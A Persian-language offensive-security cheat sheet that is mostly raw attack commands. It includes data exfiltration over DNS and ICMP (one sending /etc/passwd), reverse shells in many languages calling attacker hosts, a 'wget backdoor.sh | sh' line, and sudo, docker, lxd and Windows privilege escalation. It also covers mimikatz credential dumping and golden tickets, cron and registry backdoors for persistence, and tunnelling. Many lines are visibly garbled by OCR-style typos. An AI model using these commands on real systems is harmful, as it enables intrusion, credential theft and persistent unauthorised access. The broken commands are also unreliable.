نکات و ترفند ها
انتقال فایل
انتقال توسط ftp بدون دسترسی مستقیم به شل
echo open ip 21 ftp.txt echo user ftp.txt echo pass ftp.txt echo bin ftp.txt echo GET file tp.txt echo bye ftp.txt ftp -s:ftp.txt
### انتقال Dns در لینوکس
```text
On victim:
1. Hex encode the file to be transferred
xxd -p secret file.hex
2. Read in each line and do a DNS lookup
forb in 'cat fole.hex '; do dig $b.shell.evilexample.com; done
On attacker:
1. Capture DNS exfil packets
tcdpump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet
tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d'
cut -f1 -d'.' | uniq received. txt
3. Reverse the hex encoding
xxd -r -p received~.txt kefS.pgp
اجرای دستور exfil و انتقال اطلاعات آن با icmp
On victim (never ending 1 liner) :
stringz=cat /etc/passwd | od -tx1 | cut -c8- | tr -d " " | tr -d "\n";
counter=0; while (($counter = ${#stringZ})) ;do ping -s 16 -c l -p
${stringZ:$counter:16} 192.168.10.10 &&
counter=$( (counter+~6)) ;done
On attacker (capture pac~ets to data.dmp and parse):
tcpdump -ntvvSxs 0 'icmp[0]=8' data.dmp
grep Ox0020 data.dmp | cut -c21- | tr -d " " | tr -d "\n" | xxd -r -p
باز نمودن mail relay
C:\ telnet x.x.x.x 25
HELO x.x.x.x
MAIL FROM: [email protected]
RCPT TO: [email protected]
DATA
Thank You.
quit
شل معکوس
دستور Netcat (* اجرا در سیستم مهاجم)
nc 10.0.0.1 1234 -e /bin/sh Linux reverse shell
nc 10.0.0.1 1234 -e cmd.exe Windows reverse shell
دستور Netcat (ممکن است در بعضی از نسخه ها -e پشتیبانی نشود)
nc -e /bin/sh 10.0.0.1 1234
دستور Netcat برای موقع هایی که -e پشتیبانی نمی شود
rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl/bin/sh -i 2 &line l0.0.0.1 1234 /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.105 9999 >/tmp/f
زبان Perl
perl -e 'use Socket; $i="10.0.0.l"; $p=1234; socket(S,PF INET, SOCK STREAM,
getprotobjname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN," &S") ;open(STDOUT," &S"); open(STDERR," &S"); exec("/bin/sh" -i");};'
زبان Perl بدون نیاز به /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new
IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN- fdopen($c,r);$~-fdopen($
c,w) ;system$_ while ;'
زبان Perl برای windows
perl -MIO -e '$c=new IO: :Socket: :INET(PeerAddr,''attackerip:4444'') ;STDIN-fdopen($
c,r) ;$~- fdopen($c,w) ;system$_ while ;'
زبان Python
python -c 'import socket, subprocess, os; s=socket. socket (socket.AF_INET,
socket.SOCK_STREAM); s.connect( ("10.0.0.1",1234)); os.dup2 (s.fileno() ,0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
یا
check sudoer script content like:
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
You have new mail in /var/mail/waldo
and create file for got root as shutil.py contains:
import os
import pty
import socket
lhost = "10.10.10.10"
lport = 4444
ZIP_DEFLATED = 0
class ZipFile:
def close(*args):
return
def __init__(self, *args):
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
and run sudoer script with
sudo -E PYTHONPATH=$(pwd) /opt/scripts/admin_tasks.sh 6
زبان Bash
bash -i & /dev/tcp/10.0.0.1/8080 0 &1
زبان Java
r = Runtime.getRuntime()
p = r.exec( ["/bin/bash","-c","exec 5 /dev/tcp/10.0.0.1/2002;cat &5 |
while read line; do \$line 2 &5 &5; done"] as String[])
p.waitFor()
زبان Php
php -r '$sock=fsockopen("10.0.0.1", 1234) ;exec("/bin/sh -i &3 &3 2 &3");'
زبان Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec
sprintf("/bin/sh -i &%d &%d 2 &%d",f,f,f)'
زبان Ruby بدون نیاز به /bin/sh
by -rsocket -e 'exit if
fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd, " r
") {| io|c.print io.read}end'
زبان Ruby برای windows
ruby -rsocket -e
'c=TCPSocket.new("attackerip","4444");while(crnd=c.gets);IO.popen{cmd,"r" ) {|
io|c.print io.read}end'
دستور Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
--OR--
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445
دستور Xterm
xterm -displaj 10.0.0.1:1
o Start Listener: Xnest :1
o Add permission to connect: xhost +victimiP
متفرقه
wget hhtp:// server /backdoor.sh -O- | sh Downloads and runs backdoor.sh
spawn شل
python3 -c 'import pty; pty.spawn("/bin/sh")'
try ctrl + z
stty raw -echo
fg
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within IRB)
exec "/bin/sh"
(From within vi)
:!bash
(From within vi)
:set shell=/bin/bash:shell
(From within nmap)
!sh
ارتقا دسترسی
راهنما: https://gtfobins.github.io/
افزایش دسترسی با composer
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
افزایش دسترسی با docker
باید با کاربردی که عضو گروه docker است وارد شده باشید.
docker run -v /root:/mnt -it ubuntu
یا
docker run --rm -it --privileged nginx bash
mkdir /mnt/fsroot
mount /dev/sda /mnt/fsroot
افزایش دسترسی با docker socket
بررسیexpose بودن docker
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
دستورات زیر در اسکریپت می کنیم.
cmd="whoami"
payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$cmd\\\"\"]"
response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create)
revShellContainerID=$(echo "$response" | cut -d'"' -f4)
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/start
sleep 1
curl --output - -s --unix-socket /var/run/docker.sock "http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1"
سپس آن را اجرا می کنیم.
./docket-socket-expose.sh
افزایش دسترسی با lxd
in attacker host
1. git clone https://github.com/saghul/lxd-alpine-builder.git
2. ./build-alpine
in victim host
3. download builded image
4. import ./alpine-v3.12-x86_64-20200621_2005.tar.gz --alias attacker
5. lxc init attacker tester -c security.privileged=true
6. lxc exec tester/bin/sh
افزایش دسترسی با WSUS
SharpWSUS.exe create /payload:"C:\Users\user\Desktop\PsExec64.exe" /args:"-acceptula -s -d cmd.exe /c \"net localgroup administrator user /add\"" /title:"title"
SharpWSUS.exe approve /updateid:<id> /computername:dc.domain.dev /groupname:"title"
افزایش دسترسی در journalctl
اجرا کننده journalctl باید با دسترسی بیشتری مانند sudo اجرا شده باشد.
journalctl
!/bin/sh
یا
sudo journalctl
!/bin/sh
ارتقا دسترسی با Splunk Universal Forward Hijacking
python PySplunkWhisperer2_remote.py --lhost 10.10.10.5 --host 10.10.15.20 --username admin --password admin --payload '/bin/bash -c "rm /tmp/luci11;mkfifo /tmp/luci11;cat /tmp/luci11|/bin/sh -i 2>&1|nc 10.10.10.5 5555 >/tmp/luci11"'
افزایش دسترسی با فایل 00-header
echo “id” >> 00-header
افزایش دسترسی در nano
Ctrl+R + Ctrl+X
reset; sh 1>&0 2>&0
یا
Ctrl+W
/etc/shadow
افزایش دسترسی در vi
:!/bin/sh
افزایش دسترسی توسط روش ShadowCredentials
whisker.exe add /target:user
.\Rubeus.exe asktgt /user:user /certificate:<base64-cert> /password:"password" /domain:domain /dc:DC.domain.dev /getcredentials /show
افزایش دسترسی با استفاده از acl
$user = "megacorp\jorden"
$folder = "C:\Users\administrator"
$acl = get-acl $folder
$aclpermissions = $user, "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow"
$aclrule = new-object System.Security.AccessControl.FileSystemAccessRule $aclpermissions
$acl.AddAccessRule($aclrule)
set-acl -path $folder -AclObject $acl
get-acl $folder | folder
افزایش دسترسی با ldap
برای فعال سازی ssh با استفاده از ldap
0. exec ldapmodify -x -w PASSWORD
1. paste this
dn: cn=openssh-lpk,cn=schema,cn=config
objectClass: olcSchemaConfig
cn: openssh-lpk
olcAttributeTypes: ( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME 'sshPublicKey'
DESC 'MANDATORY: OpenSSH Public key'
EQUALITY octetStringMatch
SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 )
olcObjectClasses: ( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME 'ldapPublicKey' SUP top AUXILIARY
DESC 'MANDATORY: OpenSSH LPK objectclass'
MAY ( sshPublicKey $ uid )
)
برای ارتقا دسترسی به کاربر و گروه کاربری مورد نظر
2. exec ldapmodify -x -w PASSWORD
3. paste this
dn: uid=UID,ou=users,ou=linux,ou=servers,dc=DC,dc=DC
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: content of id_rsa.pub
-
replace: EVIL GROUP ID
uidNumber: CURRENT USER ID
-
replace: EVIL USER ID
gidNumber: CURRENT GROUP ID
کپی از ndts با استفاده از مجوز SeBackupPrivilege
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.dit
ارتقا دسترسی با مجوز SeImpersonatePrivilege
https://github.com/dievus/printspoofer
printspoofer.exe -i -c "powershell -c whoami"
خواندن فایل ها بدون احراز هویت با diskshadow
1. priv.txt contain
SET CONTEXT PERSISTENT NOWRITERSp
add volume c: alias 0xprashantp
createp
expose %0xprashant% z:p
2. exec with diskshadow /s priv.txt
ارتقا دسترسی با مجوز SeLoadDriverPrivilege
FIRST:
Download https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
Download https://raw.githubusercontent.com/TarlogicSecurity/EoPLoadDriver/master/eoploaddriver.cpp
Download https://github.com/tandasat/ExploitCapcom
change ExploitCapcom.cpp line 292
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
to
TCHAR CommandLine[] = TEXT("C:\\test\\shell.exe");
then compile ExploitCapcom.cpp and eoploaddriver.cpp to .exe
SECOND:
1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe > shell.exe
2. .\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
3. .\ExploitCapcom.exe
4. in msf exec `run`
ارتقا دسترسی با سرویس vds.exe
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name ‘vds’ -UserName ‘domain\user1’
ارتقا دسترسی با ForceChangePassword
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Import-Module .\PowerView_dev.ps1
Set-DomainUserPassword -Identity user1 -verbose
Enter-PSSession -ComputerName COMPUTERNAME -Credential “”
ارتقا دسترسی با سرویس browser
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name ‘browser’ -UserName ‘domain\user1’
ارتقا دسترسی با دسترسی GenericWrite
$pass = ConvertTo-SecureString 'Password123#' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\MASTER USER'), $pass)
Set-DomainObject -Credential $creds USER1 -Clear serviceprincipalname
Set-DomainObject -Credential $creds -Identity USER1 -SET @{serviceprincipalname='none/fluu'}
.\Rubeus.exe kerberoast /domain:<DOMAIN>
ارتقا دسترسی با استفاده از سرویس Sql و ActiveSessions
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1
. .\Heidi.ps1
Invoke-SQLOCmd -Verbose -Command “net localgroup administrators user1 /add” -Instance COMPUTERNAME
دریافت golden ticket با استفاده از mimikatz و scheduled task
1.mimikatz# token::elevate
2.mimikatz# vault::cred /patch
3.mimikatz# lsadump::lsa /patch
4.mimikatz# kerberos::golden /user:Administrator /rc4:<Administrator NTLM(step 3)> /domain:<DOMAIN> /sid:<USER SID> /sids:<Administrator SIDS> /ticket:<OUTPUT TICKET PATH>
5.powercat -l -v -p 443
6.schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" /TN "enterprise" /TR "powershell.exe-c 'iex (iwr http://10.10.10.10/reverse.ps1)'”
7.schtasks /run /s DOMAIN /TN "enterprise”
ارتقا دسترسی با استفاده از روش Pass-the-Ticket
1..\Rubeus.exe asktgt /user:<USET>$ /rc4:<NTLM HASH> /ptt
2.klist
ارتقا دسترسی با GPO آسیب پذیر
1..\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" --Author DOMAIN\<USER> --Command "cmd.exe" --Arguments "/c net user Administrator Password!@# /domain" --GPOName "ADDITIONAL DC CONFIGURATION"
تولید Golden Ticket با mimikatz
1.mimikatz # lsadump::dcsync /user:<USER>
2.mimikatz # kerberos::golden /user:<USER> /domain:</DOMAIN> /sid:<OBJECT SECURITY ID> /rce:<NTLM HASH> /id:<USER ID>
ارتقا دسترسی با پایگاه داده TRUSTWORTHY در SQL Server
1. . .\PowerUpSQL.ps1
2. Get-SQLInstanceLocal -Verbose
3. (Get-SQLServerLinkCrawl -Verbos -Instance "10.10.10.10" -Query 'select * from master..sysservers').customer.query
4.
USE "master";
SELECT *, SCHEMA_NAME("schema_id") AS 'schema' FROM "master"."sys"."objects" WHERE "type" IN ('P', 'U', 'V', 'TR', 'FN', 'TF, 'IF');
execute('sp_configure "xp_cmdshell",1;RECONFIGURE') at "<DOMAIN>\<DATABASE NAME>"
5. powershell -ep bypass
6. Import-Module .\powercat.ps1
7. powercat -l -v -p 443 -t 10000
8.
SELECT *, SCHEMA_NAME("schema_id") AS 'schema' FROM "master"."sys"."objects" WHERE "type" IN ('P', 'U', 'V', 'TR', 'FN', 'TF, 'IF');
execute('sp_configure "xp_cmdshell",1;RECONFIGURE') at "<DOMAIN>\<DATABASE NAME>"
execute('exec master..xp_cmdshell "\\10.10.10.10\reverse.exe"') at "<DOMAIN>\<DATABASE NAME>"
ارتقا دسترسی با gdbus
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/authorized_keys /root/.ssh/authorized_keys true
دسترسی همیشگی
برای لینوکس (در سیستم مهاجم)
crontab -e : set for every 10 min
0-59/10 nc ip 777 -e /bin/bash
برای ویندوز (شروع task scheduler)
sc config schedule start= auto
net start schedule
at 13:30 ""C:\nc.exe ip 777 -e cmd.exe""
اجرای backdoor به همراه بایپس فایروال ویندوز
1. REG add HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run
/v firewall 7t REG SZ /d "c:\windows\system32\backdoor.exe" /f
2. at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\backdoor.exe"
3. SCHTASKS /Create /RU "SYSTEt1" /SC MINUTE /t10 45 /TN FIREWALL /TR
"%USERPROFILE%\backdoor.exe" /ED 12/12/2012
توسعه پیلود در smb یا webdav
Via SMB:
1. From the compromised machine, share the payload folder
2. Set sharing to 'Everyone'
3. Use psexec or wmic command to remotely execute payload
Via WebDAV:
1. Launch Metasploit 'webdav file server' module
2. Set following options:
localexe= true
localfile= payload
localroot= payload directory
disablePayloadHandler=true
3. Use psexec or wmic command to remotely execute payload
psexec \\ remote ip /u domain\compromised_user /p password "\\payload
ip \test\msf.exe"
OR -
wmic /node: remote ip /user:domain\compromised user //password:password
process call create "\ \ payload ip \test\msf.exe"
دریافت پروسس lsass و استخراج اطلاعات با mimikatz
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords f
استخراج اطلاعات در حافظه با استفاده از افزونه mimikatz در volatility
volatility — plugins=/usr/share/volatility/plugins — profile=Win7SP0x86 -f halomar.dmp mimikatz
تونل
Fpipe - دریافت اطلاعات از پورت 1234 و انتقال به پورت 80 2.2.2.2
fpipe.exe -l 1234 -r 80 2.2.2.2
Socks.exe - پویش اینترانت در پروکسی ساکس
On redirector (1.1.1.1):
socks.exe -i1.1.1.1 -p 8C80
On attacker:
Modify /etc/proxjchains.conf:
Comment out: #proxy_dns
Comment out: #socks4a 127.0.0.1 9050
Add line: socks4 1.1.1.1 8080
Scan through socks proxy:
proxychains nmap -PN -vv -sT -p 22,135,139,445 2.2.2.2
Socat - دریافت اطلاعات از پورت 1234 و انتقال به پورت 80 2.2.2.2
socat TCP4:LISTEN:1234 TCP4:2.2.2.2:80
ایجاد ssh بدون سرویس ssh
./socat TCP-LISTEN:22,fork,reuseaddr TCP:172.10.10.11:22
Stunnel - ssl encapsulated در تونل nc (ویندوز & لینوکس) [8]
On attacker (client):
Modify /stunnel.conf
clien = yes
[netcat client]
accept = 5555
connect = -Listening IP-:4444
On victim (listening server)
Modify /stunnel.conf
client = no
[ne~cat server]
accept = 4444
connect = 7777
C:\ nc -vlp 7777
On attacker (client):
# nc -nv 127.0.0.1 5555
نکات جست و جو در google
پارامتر | توضیح |
---|---|
site: [url] | جست و جو یک سایت [url] |
numrange: [#]…[#] | جست و جو در محدوده عددی |
date: [ #] | جست و جو در یک ماه گذشته |
link: [url] | جست و جو صفحاتی که دارای آدرس خاصی است |
related: [url] | جست و جو صفحات مرتبط با آدرس خاص |
intitle: [string] | جست و جو صفحاتی که دارای عنوان خاصی است |
inurl: [string] | جست و جو صفحاتی که در url آن دارای آدرس خاصی است |
filetjpe: [xls] | جست و جو کلیه فایل های با پسوند xls |
phonebook: [name] | جست و جو کلیه دفترچه تلفن هایی که دارای نام خاص می باشند |
نکات Video teleconferencing
برند Polycom
telnet ip
#Enter 1 char, get uname:pwd
http:// ip /getsecure.cgi
http:// ip /er_a_rc1.htm
http:// ip /a_security.htm
http:// ip /a_rc.htm
برند Trandberg
http:// ip /snapctrl.ssi
برند Sony webcam
http:// ip /commard/visca-gen.cgi?visca= str
8101046202FF : Freeze Camera
با perl تبدیل باینری به اسکی
cat blue | perl -lpe '$_=pack"B*",$_' > bin
آزمایشگاه بررسی و اجرا
https://htbmachines.github.io/
ارسال ایمیل
swaks --to [email protected] --from [email protected] --server mail.server.dev --body "BODY"
ارسال فایل جاری توسط nc
nc 10.10.10.10 3131 < output.zip